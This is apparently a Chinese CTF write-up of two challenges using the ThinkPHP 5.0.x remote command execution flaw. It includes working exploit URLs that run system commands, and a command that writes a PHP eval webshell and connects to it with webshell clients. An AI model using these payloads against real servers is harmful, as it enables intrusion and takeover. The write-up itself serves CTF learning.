天天看點

CTF——Thinkphp5遠端指令執行漏洞利用[BJDCTF 2nd]old-hack(5.0.23)

[BJDCTF 2nd]old-hack(5.0.23)

進入之後:

CTF——Thinkphp5遠端指令執行漏洞利用[BJDCTF 2nd]old-hack(5.0.23)

打開頁面,頁面提示powered by Thinkphp。說明可能和thinkphp架構有關。也确實如此,這裡用到了thinkphp5的遠端指令執行漏洞。

Thinkphp5遠端指令執行漏洞

漏洞描述:由于thinkphp對架構中的核心Requests類的method方法提供了表單請求僞造,該功能利用

$_POST['_method']

來傳遞真實的請求方法。但由于架構沒有對參數進行驗證,導緻攻擊者可以設定

$_POST['_method']='__construct'

而讓該類的變量被覆寫。攻擊者利用該方式将filter變量覆寫為system等函數名,當内部進行參數過濾時便會進行執行任意指令。

像這種題,知道了是哪個版本的話就搜一搜(https://www.exploit-db.com/)就能找到與之配套的payload,也可以用kali的searchsploit。

想辦法構造一個ThinkPHP的報錯看一下詳細版本:

http://a504dd5e-6b7c-407f-ab11-ee1c9efdc3f3.node3.buuoj.cn/index.php?s=1
或
http://a504dd5e-6b7c-407f-ab11-ee1c9efdc3f3.node3.buuoj.cn/index.php?s=captcha
           

Thinkphp架構有s參數可以加載子產品,随便加點什麼,發現開了debug模式,其中可以看到Thinkphp的版本。

CTF——Thinkphp5遠端指令執行漏洞利用[BJDCTF 2nd]old-hack(5.0.23)

該版本為5.0.23

使用kali searchsploit查找一下漏洞的利用方法:

searchsploit thinkphp

查找thinkphp相關的漏洞

CTF——Thinkphp5遠端指令執行漏洞利用[BJDCTF 2nd]old-hack(5.0.23)

發現最後一個是thinkphp5.X版本的遠端指令執行漏洞,我們進入該漏洞的檔案46150.txt:

CTF——Thinkphp5遠端指令執行漏洞利用[BJDCTF 2nd]old-hack(5.0.23)

打開後顯示了thinkphp5.X版本所有版本的遠端指令執行漏洞的利用方法

CTF——Thinkphp5遠端指令執行漏洞利用[BJDCTF 2nd]old-hack(5.0.23)
CTF——Thinkphp5遠端指令執行漏洞利用[BJDCTF 2nd]old-hack(5.0.23)

我們找到5.0.23版本的:

CTF——Thinkphp5遠端指令執行漏洞利用[BJDCTF 2nd]old-hack(5.0.23)

利用方法是用POST傳參,我們用下面那個完整版的。

我們構造一個payload檢視一下根目錄的内容:

CTF——Thinkphp5遠端指令執行漏洞利用[BJDCTF 2nd]old-hack(5.0.23)

發現了flag檔案,把ls /換成cat /flag,獲得最後的flag

CTF——Thinkphp5遠端指令執行漏洞利用[BJDCTF 2nd]old-hack(5.0.23)

參考:https://blog.csdn.net/zydbk123456/article/details/105774002

寫入webshell木馬:

CTF——Thinkphp5遠端指令執行漏洞利用[BJDCTF 2nd]old-hack(5.0.23)

通路apple.php,顯示php代碼就成功了:

CTF——Thinkphp5遠端指令執行漏洞利用[BJDCTF 2nd]old-hack(5.0.23)

可見成功了,我們連蟻劍:

CTF——Thinkphp5遠端指令執行漏洞利用[BJDCTF 2nd]old-hack(5.0.23)

成功。

連菜刀:

CTF——Thinkphp5遠端指令執行漏洞利用[BJDCTF 2nd]old-hack(5.0.23)

成功。

攻防世界-php_rce

進入題目:

CTF——Thinkphp5遠端指令執行漏洞利用[BJDCTF 2nd]old-hack(5.0.23)

Thinkphp5遠端指令執行漏洞。先報錯看一下版本

http://124.126.19.106:57941/index.php?s=1
或
http://124.126.19.106:57941/index.php?s=captcha
           
CTF——Thinkphp5遠端指令執行漏洞利用[BJDCTF 2nd]old-hack(5.0.23)

版本為5.0.20。

ThinkPHP官方2018年12月9日釋出重要的安全更新,修複了一個嚴重的遠端代碼執行漏洞。該更新主要涉及一個安全更新,由于架構對控制器名沒有進行足夠的檢測會導緻在沒有開啟強制路由的情況下可能的getshell漏洞,受影響的版本包括5.0和5.1版本,推薦盡快更新到最新版本。

影響範圍

5.x < 5.1.31, <= 5.0.23

在修複之前程式未對控制器進行過濾,導緻攻擊者可以通過引入\符号來調用任意類方法

我們在kali searchsploit查找一下該版本漏洞的利用方法(5.0.21和5.0.22都适用):

CTF——Thinkphp5遠端指令執行漏洞利用[BJDCTF 2nd]old-hack(5.0.23)

漏洞利用

1.利用system函數遠端指令執行

index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]
=system&vars[1][]=whoami
           
CTF——Thinkphp5遠端指令執行漏洞利用[BJDCTF 2nd]old-hack(5.0.23)
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
           
CTF——Thinkphp5遠端指令執行漏洞利用[BJDCTF 2nd]old-hack(5.0.23)

2.通過phpinfo函數寫出phpinfo()的資訊

CTF——Thinkphp5遠端指令執行漏洞利用[BJDCTF 2nd]old-hack(5.0.23)

3.寫入webshell木馬:

index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo '<?php highlight_file(__FILE__); @eval($_POST["apple"]);?>' > apple.php
           

通路apple.php能顯示php代碼就成功了:

CTF——Thinkphp5遠端指令執行漏洞利用[BJDCTF 2nd]old-hack(5.0.23)

試試:

CTF——Thinkphp5遠端指令執行漏洞利用[BJDCTF 2nd]old-hack(5.0.23)

直接連接配接蟻劍,(菜刀連不上)

CTF——Thinkphp5遠端指令執行漏洞利用[BJDCTF 2nd]old-hack(5.0.23)

附錄:

别的版本的Thinkphp5遠端指令執行漏洞利用也是這個思路。